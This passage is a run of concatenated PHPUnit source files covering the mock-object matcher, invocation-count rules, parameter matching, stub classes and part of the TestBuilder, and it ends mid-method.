PHPUnit\Framework\MockObject\Rule\InvokedAtMostCount; use PHPUnit\Framework\MockObject\Rule\InvokedCount; use PHPUnit\Framework\MockObject\Rule\MethodName; use PHPUnit\Framework\MockObject\Rule\ParametersRule; use PHPUnit\Framework\MockObject\Stub\Stub; use PHPUnit\Util\ThrowableToStringMapper; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Matcher { private readonly InvocationOrder $invocationRule; private ?string $afterMatchBuilderId = null; private ?MethodName $methodNameRule = null; private ?ParametersRule $parametersRule = null; private ?Stub $stub = null; public function __construct(InvocationOrder $rule) { $this->invocationRule = $rule; } public function hasMatchers(): bool { return !$this->invocationRule instanceof AnyInvokedCount; } public function hasMethodNameRule(): bool { return $this->methodNameRule !== null; } public function methodNameRule(): MethodName { return $this->methodNameRule; } public function setMethodNameRule(MethodName $rule): void { $this->methodNameRule = $rule; } public function hasParametersRule(): bool { return $this->parametersRule !== null; } public function setParametersRule(ParametersRule $rule): void { $this->parametersRule = $rule; } public function setStub(Stub $stub): void { $this->stub = $stub; } public function setAfterMatchBuilderId(string $id): void { $this->afterMatchBuilderId = $id; } /** * @throws Exception * @throws ExpectationFailedException * @throws MatchBuilderNotFoundException * @throws MethodNameNotConfiguredException * @throws RuntimeException */ public function invoked(Invocation $invocation): mixed { if ($this->methodNameRule === null) { throw new MethodNameNotConfiguredException; } if ($this->afterMatchBuilderId !== null) { $matcher = $invocation->object() ->__phpunit_getInvocationHandler() ->lookupMatcher($this->afterMatchBuilderId); if (!$matcher) { throw new MatchBuilderNotFoundException($this->afterMatchBuilderId); } } $this->invocationRule->invoked($invocation); try { $this->parametersRule?->apply($invocation); } catch (ExpectationFailedException $e) { throw new ExpectationFailedException( sprintf( "Expectation failed for %s when %s\n%s", $this->methodNameRule->toString(), $this->invocationRule->toString(), $e->getMessage(), ), $e->getComparisonFailure(), ); } if ($this->stub) { return $this->stub->invoke($invocation); } return $invocation->generateReturnValue(); } /** * @throws ExpectationFailedException * @throws MatchBuilderNotFoundException * @throws MethodNameNotConfiguredException * @throws RuntimeException */ public function matches(Invocation $invocation): bool { if ($this->afterMatchBuilderId !== null) { $matcher = $invocation->object() ->__phpunit_getInvocationHandler() ->lookupMatcher($this->afterMatchBuilderId); if (!$matcher) { throw new MatchBuilderNotFoundException($this->afterMatchBuilderId); } if (!$matcher->invocationRule->hasBeenInvoked()) { return false; } } if ($this->methodNameRule === null) { throw new MethodNameNotConfiguredException; } if (!$this->invocationRule->matches($invocation)) { return false; } try { if (!$this->methodNameRule->matches($invocation)) { return false; } } catch (ExpectationFailedException $e) { throw new ExpectationFailedException( sprintf( "Expectation failed for %s when %s\n%s", $this->methodNameRule->toString(), $this->invocationRule->toString(), $e->getMessage(), ), $e->getComparisonFailure(), ); } return true; } /** * @throws ExpectationFailedException * @throws MethodNameNotConfiguredException */ public function verify(): void { if ($this->methodNameRule === null) { throw new MethodNameNotConfiguredException; } try { $this->invocationRule->verify(); if ($this->parametersRule === null) { $this->parametersRule = new AnyParameters; } $invocationIsAny = $this->invocationRule instanceof AnyInvokedCount; $invocationIsNever = $this->invocationRule instanceof InvokedCount && $this->invocationRule->isNever(); $invocationIsAtMost = $this->invocationRule instanceof InvokedAtMostCount; if (!$invocationIsAny && !$invocationIsNever && !$invocationIsAtMost) { $this->parametersRule->verify(); } } catch (ExpectationFailedException $e) { throw new ExpectationFailedException( sprintf( "Expectation failed for %s when %s.\n%s", $this->methodNameRule->toString(), $this->invocationRule->toString(), ThrowableToStringMapper::map($e), ), ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; use function strtolower; use PHPUnit\Framework\Constraint\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodNameConstraint extends Constraint { private readonly string $methodName; public function __construct(string $methodName) { $this->methodName = $methodName; } public function toString(): string { return sprintf( 'is "%s"', $this->methodName, ); } protected function matches(mixed $other): bool { return strtolower($this->methodName) === strtolower((string) $other); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function array_keys; use function array_map; use function explode; use function in_array; use function interface_exists; use function sprintf; use function str_contains; use function str_ends_with; use function str_starts_with; use function substr; use PHPUnit\Framework\MockObject\Generator\Generator; use ReflectionClass; use stdClass; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnValueGenerator { /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * @psalm-param class-string $stubClassName * * @throws Exception */ public function generate(string $className, string $methodName, string $stubClassName, string $returnType): mixed { $intersection = false; $union = false; if (str_contains($returnType, '|')) { $types = explode('|', $returnType); $union = true; foreach (array_keys($types) as $key) { if (str_starts_with($types[$key], '(') && str_ends_with($types[$key], ')')) { $types[$key] = substr($types[$key], 1, -1); } } } elseif (str_contains($returnType, '&')) { $types = explode('&', $returnType); $intersection = true; } else { $types = [$returnType]; } if (!$intersection) { $lowerTypes = array_map('strtolower', $types); if (in_array('', $lowerTypes, true) || in_array('null', $lowerTypes, true) || in_array('mixed', $lowerTypes, true) || in_array('void', $lowerTypes, true)) { return null; } if (in_array('true', $lowerTypes, true)) { return true; } if (in_array('false', $lowerTypes, true) || in_array('bool', $lowerTypes, true)) { return false; } if (in_array('float', $lowerTypes, true)) { return 0.0; } if (in_array('int', $lowerTypes, true)) { return 0; } if (in_array('string', $lowerTypes, true)) { return ''; } if (in_array('array', $lowerTypes, true)) { return []; } if (in_array('static', $lowerTypes, true)) { return $this->newInstanceOf($stubClassName, $className, $methodName); } if (in_array('object', $lowerTypes, true)) { return new stdClass; } if (in_array('callable', $lowerTypes, true) || in_array('closure', $lowerTypes, true)) { return static function (): void { }; } if (in_array('traversable', $lowerTypes, true) || in_array('generator', $lowerTypes, true) || in_array('iterable', $lowerTypes, true)) { $generator = static function (): \Generator { yield from []; }; return $generator(); } if (!$union) { return $this->testDoubleFor($returnType, $className, $methodName); } } if ($union) { foreach ($types as $type) { if (str_contains($type, '&')) { $_types = explode('&', $type); if ($this->onlyInterfaces($_types)) { return $this->testDoubleForIntersectionOfInterfaces($_types, $className, $methodName); } } } } if ($intersection && $this->onlyInterfaces($types)) { return $this->testDoubleForIntersectionOfInterfaces($types, $className, $methodName); } $reason = ''; if ($union) { $reason = ' because the declared return type is a union'; } elseif ($intersection) { $reason = ' because the declared return type is an intersection'; } throw new RuntimeException( sprintf( 'Return value for %s::%s() cannot be generated%s, please configure a return value for this method', $className, $methodName, $reason, ), ); } /** * @psalm-param non-empty-list $types */ private function onlyInterfaces(array $types): bool { foreach ($types as $type) { if (!interface_exists($type)) { return false; } } return true; } /** * @psalm-param class-string $stubClassName * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws RuntimeException */ private function newInstanceOf(string $stubClassName, string $className, string $methodName): Stub { try { return (new ReflectionClass($stubClassName))->newInstanceWithoutConstructor(); // @codeCoverageIgnoreStart } catch (Throwable $t) { throw new RuntimeException( sprintf( 'Return value for %s::%s() cannot be generated: %s', $className, $methodName, $t->getMessage(), ), ); // @codeCoverageIgnoreEnd } } /** * @psalm-param class-string $type * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws RuntimeException */ private function testDoubleFor(string $type, string $className, string $methodName): Stub { try { return (new Generator)->testDouble($type, false, [], [], '', false); // @codeCoverageIgnoreStart } catch (Throwable $t) { throw new RuntimeException( sprintf( 'Return value for %s::%s() cannot be generated: %s', $className, $methodName, $t->getMessage(), ), ); // @codeCoverageIgnoreEnd } } /** * @psalm-param non-empty-list $types * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws RuntimeException */ private function testDoubleForIntersectionOfInterfaces(array $types, string $className, string $methodName): Stub { try { return (new Generator)->testDoubleForInterfaceIntersection($types, false); // @codeCoverageIgnoreStart } catch (Throwable $t) { throw new RuntimeException( sprintf( 'Return value for %s::%s() cannot be generated: %s', $className, $methodName, $t->getMessage(), ), ); // @codeCoverageIgnoreEnd } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class AnyInvokedCount extends InvocationOrder { public function toString(): string { return 'invoked zero or more times'; } public function verify(): void { } public function matches(BaseInvocation $invocation): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class AnyParameters implements ParametersRule { public function apply(BaseInvocation $invocation): void { } public function verify(): void { } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function count; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; use PHPUnit\Framework\SelfDescribing; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class InvocationOrder implements SelfDescribing { /** * @psalm-var list */ private array $invocations = []; public function numberOfInvocations(): int { return count($this->invocations); } public function hasBeenInvoked(): bool { return count($this->invocations) > 0; } final public function invoked(BaseInvocation $invocation): void { $this->invocations[] = $invocation; $this->invokedDo($invocation); } abstract public function matches(BaseInvocation $invocation): bool; abstract public function verify(): void; protected function invokedDo(BaseInvocation $invocation): void { } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvokedAtLeastCount extends InvocationOrder { private readonly int $requiredInvocations; public function __construct(int $requiredInvocations) { $this->requiredInvocations = $requiredInvocations; } public function toString(): string { return sprintf( 'invoked at least %d time%s', $this->requiredInvocations, $this->requiredInvocations !== 1 ? 's' : '', ); } /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void { $actualInvocations = $this->numberOfInvocations(); if ($actualInvocations < $this->requiredInvocations) { throw new ExpectationFailedException( sprintf( 'Expected invocation at least %d time%s but it occurred %d time%s.', $this->requiredInvocations, $this->requiredInvocations !== 1 ? 's' : '', $actualInvocations, $actualInvocations !== 1 ? 's' : '', ), ); } } public function matches(BaseInvocation $invocation): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvokedAtLeastOnce extends InvocationOrder { public function toString(): string { return 'invoked at least once'; } /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void { $count = $this->numberOfInvocations(); if ($count < 1) { throw new ExpectationFailedException( 'Expected invocation at least once but it never occurred.', ); } } public function matches(BaseInvocation $invocation): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvokedAtMostCount extends InvocationOrder { private readonly int $allowedInvocations; public function __construct(int $allowedInvocations) { $this->allowedInvocations = $allowedInvocations; } public function toString(): string { return sprintf( 'invoked at most %d time%s', $this->allowedInvocations, $this->allowedInvocations !== 1 ? 's' : '', ); } /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void { $actualInvocations = $this->numberOfInvocations(); if ($actualInvocations > $this->allowedInvocations) { throw new ExpectationFailedException( sprintf( 'Expected invocation at most %d time%s but it occurred %d time%s.', $this->allowedInvocations, $this->allowedInvocations !== 1 ? 's' : '', $actualInvocations, $actualInvocations !== 1 ? 's' : '', ), ); } } public function matches(BaseInvocation $invocation): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvokedCount extends InvocationOrder { private readonly int $expectedCount; public function __construct(int $expectedCount) { $this->expectedCount = $expectedCount; } public function isNever(): bool { return $this->expectedCount === 0; } public function toString(): string { return sprintf( 'invoked %d time%s', $this->expectedCount, $this->expectedCount !== 1 ? 's' : '', ); } public function matches(BaseInvocation $invocation): bool { return true; } /** * Verifies that the current expectation is valid. If everything is OK the * code should just return, if not it must throw an exception. * * @throws ExpectationFailedException */ public function verify(): void { $actualCount = $this->numberOfInvocations(); if ($actualCount !== $this->expectedCount) { throw new ExpectationFailedException( sprintf( 'Method was expected to be called %d time%s, actually called %d time%s.', $this->expectedCount, $this->expectedCount !== 1 ? 's' : '', $actualCount, $actualCount !== 1 ? 's' : '', ), ); } } /** * @throws ExpectationFailedException */ protected function invokedDo(BaseInvocation $invocation): void { $count = $this->numberOfInvocations(); if ($count > $this->expectedCount) { $message = $invocation->toString() . ' '; $message .= match ($this->expectedCount) { 0 => 'was not expected to be called.', 1 => 'was not expected to be called more than once.', default => sprintf( 'was not expected to be called more than %d times.', $this->expectedCount, ), }; throw new ExpectationFailedException($message); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function is_string; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\InvalidArgumentException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; use PHPUnit\Framework\MockObject\MethodNameConstraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodName { private readonly Constraint $constraint; /** * @throws InvalidArgumentException */ public function __construct(Constraint|string $constraint) { if (is_string($constraint)) { $constraint = new MethodNameConstraint($constraint); } $this->constraint = $constraint; } public function toString(): string { return 'method name ' . $this->constraint->toString(); } /** * @throws ExpectationFailedException */ public function matches(BaseInvocation $invocation): bool { return $this->matchesName($invocation->methodName()); } /** * @throws ExpectationFailedException */ public function matchesName(string $methodName): bool { return (bool) $this->constraint->evaluate($methodName, '', true); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use function count; use function sprintf; use Exception; use PHPUnit\Framework\Constraint\Callback; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\Constraint\IsAnything; use PHPUnit\Framework\Constraint\IsEqual; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Parameters implements ParametersRule { /** * @psalm-var list */ private array $parameters = []; private ?BaseInvocation $invocation = null; private null|bool|ExpectationFailedException $parameterVerificationResult; /** * @throws \PHPUnit\Framework\Exception */ public function __construct(array $parameters) { foreach ($parameters as $parameter) { if (!($parameter instanceof Constraint)) { $parameter = new IsEqual( $parameter, ); } $this->parameters[] = $parameter; } } /** * @throws Exception */ public function apply(BaseInvocation $invocation): void { $this->invocation = $invocation; $this->parameterVerificationResult = null; try { $this->parameterVerificationResult = $this->doVerify(); } catch (ExpectationFailedException $e) { $this->parameterVerificationResult = $e; throw $this->parameterVerificationResult; } } /** * Checks if the invocation $invocation matches the current rules. If it * does the rule will get the invoked() method called which should check * if an expectation is met. * * @throws ExpectationFailedException */ public function verify(): void { $this->doVerify(); } /** * @throws ExpectationFailedException */ private function doVerify(): bool { if (isset($this->parameterVerificationResult)) { return $this->guardAgainstDuplicateEvaluationOfParameterConstraints(); } if ($this->invocation === null) { throw new ExpectationFailedException('Doubled method does not exist.'); } if (count($this->invocation->parameters()) < count($this->parameters)) { $message = 'Parameter count for invocation %s is too low.'; // The user called `->with($this->anything())`, but may have meant // `->withAnyParameters()`. // // @see https://github.com/sebastianbergmann/phpunit-mock-objects/issues/199 if (count($this->parameters) === 1 && $this->parameters[0]::class === IsAnything::class) { $message .= "\nTo allow 0 or more parameters with any value, omit ->with() or use ->withAnyParameters() instead."; } throw new ExpectationFailedException( sprintf($message, $this->invocation->toString()), ); } foreach ($this->parameters as $i => $parameter) { if ($parameter instanceof Callback && $parameter->isVariadic()) { $other = $this->invocation->parameters(); } else { $other = $this->invocation->parameters()[$i]; } $parameter->evaluate( $other, sprintf( 'Parameter %s for invocation %s does not match expected value.', $i, $this->invocation->toString(), ), ); } return true; } /** * @throws ExpectationFailedException */ private function guardAgainstDuplicateEvaluationOfParameterConstraints(): bool { if ($this->parameterVerificationResult instanceof ExpectationFailedException) { throw $this->parameterVerificationResult; } return (bool) $this->parameterVerificationResult; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ParametersRule { /** * @throws ExpectationFailedException if the invocation violates the rule */ public function apply(BaseInvocation $invocation): void; public function verify(): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function array_shift; use function count; use PHPUnit\Framework\MockObject\Invocation; use PHPUnit\Framework\MockObject\NoMoreReturnValuesConfiguredException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConsecutiveCalls implements Stub { private array $stack; private int $numberOfConfiguredReturnValues; public function __construct(array $stack) { $this->stack = $stack; $this->numberOfConfiguredReturnValues = count($stack); } /** * @throws NoMoreReturnValuesConfiguredException */ public function invoke(Invocation $invocation): mixed { if (empty($this->stack)) { throw new NoMoreReturnValuesConfiguredException( $invocation, $this->numberOfConfiguredReturnValues, ); } $value = array_shift($this->stack); if ($value instanceof Stub) { $value = $value->invoke($invocation); } return $value; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Invocation; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception implements Stub { private readonly Throwable $exception; public function __construct(Throwable $exception) { $this->exception = $exception; } /** * @throws Throwable */ public function invoke(Invocation $invocation): never { throw $this->exception; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Invocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnArgument implements Stub { private readonly int $argumentIndex; public function __construct(int $argumentIndex) { $this->argumentIndex = $argumentIndex; } public function invoke(Invocation $invocation): mixed { return $invocation->parameters()[$this->argumentIndex] ?? null; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function call_user_func_array; use PHPUnit\Framework\MockObject\Invocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnCallback implements Stub { /** * @var callable */ private $callback; public function __construct(callable $callback) { $this->callback = $callback; } public function invoke(Invocation $invocation): mixed { return call_user_func_array($this->callback, $invocation->parameters()); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Invocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnReference implements Stub { private mixed $reference; public function __construct(mixed &$reference) { $this->reference = &$reference; } public function invoke(Invocation $invocation): mixed { return $this->reference; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Invocation; use PHPUnit\Framework\MockObject\RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnSelf implements Stub { /** * @throws RuntimeException */ public function invoke(Invocation $invocation): object { return $invocation->object(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Invocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnStub implements Stub { private readonly mixed $value; public function __construct(mixed $value) { $this->value = $value; } public function invoke(Invocation $invocation): mixed { return $this->value; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use function array_pop; use function count; use function is_array; use PHPUnit\Framework\MockObject\Invocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnValueMap implements Stub { private readonly array $valueMap; public function __construct(array $valueMap) { $this->valueMap = $valueMap; } public function invoke(Invocation $invocation): mixed { $parameterCount = count($invocation->parameters()); foreach ($this->valueMap as $map) { if (!is_array($map) || $parameterCount !== (count($map) - 1)) { continue; } $return = array_pop($map); if ($invocation->parameters() === $map) { return $return; } } return null; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Invocation; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Stub { /** * Fakes the processing of the invocation $invocation by returning a * specific value. */ public function invoke(Invocation $invocation): mixed; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Reorderable { public function sortId(): string; /** * @psalm-return list */ public function provides(): array; /** * @psalm-return list */ public function requires(): array; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface SelfDescribing { /** * Returns a string representation of the object. */ public function toString(): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Countable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface Test extends Countable { public function run(): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function assert; use PHPUnit\Metadata\Api\DataProvider; use PHPUnit\Metadata\Api\Groups; use PHPUnit\Metadata\Api\Requirements; use PHPUnit\Metadata\BackupGlobals; use PHPUnit\Metadata\BackupStaticProperties; use PHPUnit\Metadata\ExcludeGlobalVariableFromBackup; use PHPUnit\Metadata\ExcludeStaticPropertyFromBackup; use PHPUnit\Metadata\Parser\Registry as MetadataRegistry; use PHPUnit\Metadata\PreserveGlobalState; use PHPUnit\TextUI\Configuration\Registry as ConfigurationRegistry; use ReflectionClass; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestBuilder { /** * @psalm-param non-empty-string $methodName * * @throws InvalidDataProviderException */ public function build(ReflectionClass $theClass, string $methodName): Test { $className = $theClass->getName(); $data = null; if ($this->requirementsSatisfied($className, $methodName)) { $data = (new DataProvider)->providedData($className, $methodName); } if ($data !== null) { return $this->buildDataProviderTestSuite( $methodName, $className, $data, $this->shouldTestMethodBeRunInSeparateProcess($className, $methodName), $this->shouldGlobalStateBePreserved($className, $methodName), $this->shouldAllTestMethodsOfTestClassBeRunInSingleSeparateProcess($className), $this->backupSettings($className, $methodName), ); } $test = new $className($methodName); assert($test instanceof TestCase); $this->configureTestCase( $test, $this->shouldTestMethodBeRunInSeparateProcess($className, $methodName), $this->shouldGlobalStateBePreserved($className, $methodName), $this->shouldAllTestMethodsOfTestClassBeRunInSingleSeparateProcess($className), $this->backupSettings($className, $methodName), ); return $test; } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * @psalm-param array{backupGlobals: ?bool, backupGlobalsExcludeList: list, backupStaticProperties: ?bool, backupStaticPropertiesExcludeList: array>} $backupSettings */ private function buildDataProviderTestSuite(string $methodName, string $className, array $data, bool $runTestInSeparateProcess, ?bool $preserveGlobalState, bool $runClassInSeparateProcess, array $backupSettings): DataProviderTestSuite { $dataProviderTestSuite = DataProviderTestSuite::empty( $className . '::' . $methodName, ); $groups = (new Groups)->groups($className, $methodName); foreach ($data as $_dataName => $_data) { $_test = new $className($methodName); assert($_test instanceof TestCase); $_test->setData($_dataName, $_data); $this->configureTestCase( $_test, $runTestInSeparateProcess, $preserveGlobalState, $runClassInSeparateProcess, $backupSettings, ); $dataProviderTestSuite->addTest($_test, $groups); } return $dataProviderTestSuite; } /** * @psalm-param array{backupGlobals: ?bool, backupGlobalsExcludeList: list, backupStaticProperties: ?bool, backupStaticPropertiesExcludeList: array>} $backupSettings */ private function configureTestCase(TestCase $test, bool $runTestInSeparateProcess, ?bool $preserveGlobalState, bool $runClassInSeparateProcess, array $backupSettings): void { if ($runTestInSeparateProcess) { $test->setRunTestInSeparateProcess(true); } if ($runClassInSeparateProcess) { $test->setRunClassInSeparateProcess(true); } if ($preserveGlobalState !== null) { $test->setPreserveGlobalState($preserveGlobalState); } if ($backupSettings['backupGlobals'] !== null) { $test->setBackupGlobals($backupSettings['backupGlobals']); } else { $test->setBackupGlobals(ConfigurationRegistry::get()->backupGlobals()); } $test->setBackupGlobalsExcludeList($backupSettings['backupGlobalsExcludeList']); if ($backupSettings['backupStaticProperties'] !== null) { $test->setBackupStaticProperties($backupSettings['backupStaticProperties']); } else { $test->setBackupStaticProperties(ConfigurationRegistry::get()->backupStaticProperties()); } $test->setBackupStaticPropertiesExcludeList($backupSettings['backupStaticPropertiesExcludeList']); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @psalm-return array{backupGlobals: ?bool, backupGlobalsExcludeList: list, backupStaticProperties: ?bool, backupStaticPropertiesExcludeList: array>} */ private function backupSettings(string $className, string $methodName): array { $metadataForClass = MetadataRegistry::parser()->forClass($className); $metadataForMethod = MetadataRegistry::parser()->forMethod($className, $methodName); $metadataForClassAndMethod = MetadataRegistry::parser()->forClassAndMethod($className, $methodName); $backupGlobals = null; $backupGlobalsExcludeList = []; if ($metadataForMethod->isBackupGlobals()->isNotEmpty()) { $metadata = $metadataForMethod->isBackupGlobals()->asArray()[0]; assert($metadata instanceof BackupGlobals); if ($metadata->enabled()) { $backupGlobals = true; } } elseif ($metadataForClass->isBackupGlobals()->isNotEmpty()) { $metadata = $metadataForClass->isBackupGlobals()->asArray()[0]; assert($metadata instanceof BackupGlobals); if ($metadata->enabled()) { $backupGlobals = true; } } foreach ($metadataForClassAndMethod->isExcludeGlobalVariableFromBackup() as $metadata) { assert($metadata instanceof ExcludeGlobalVariableFromBackup); $backupGlobalsExcludeList[] = $metadata->globalVariableName(); } $backupStaticProperties = null; $backupStaticPropertiesExcludeList = []; if ($metadataForMethod->isBackupStaticProperties()->isNotEmpty()) { $metadata = $metadataForMethod->isBackupStaticProperties()->asArray()[0]; assert($metadata instanceof BackupStaticProperties); if ($metadata->enabled()) { $backupStaticProperties = true; } } elseif ($metadataForClass->isBackupStaticProperties()->isNotEmpty()) { $metadata = $metadataForClass->isBackupStaticProperties()->asArray()[0]; assert($metadata instanceof BackupStaticProperties); if ($metadata->enabled()) { $backupStaticProperties = true; } } foreach ($metadataForClassAndMethod->isExcludeStaticPropertyFromBackup() as $metadata) { assert($metadata instanceof ExcludeStaticPropertyFromBackup); if (!isset($backupStaticPropertiesExcludeList[$metadata->className()])) { $backupStaticPropertiesExcludeList[$metadata->className()] = []; } $backupStaticPropertiesExcludeList[$metadata->className()][] = $metadata->propertyName(); } return [ 'backupGlobals' => $backupGlobals, 'backupGlobalsExcludeList' => $backupGlobalsExcludeList, 'backupStaticProperties' => $backupStaticProperties, 'backupStaticPropertiesExcludeList' => $backupStaticPropertiesExcludeList, ]; } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ private function shouldGlobalStateBePreserved(string $className, string $methodName): ?bool { 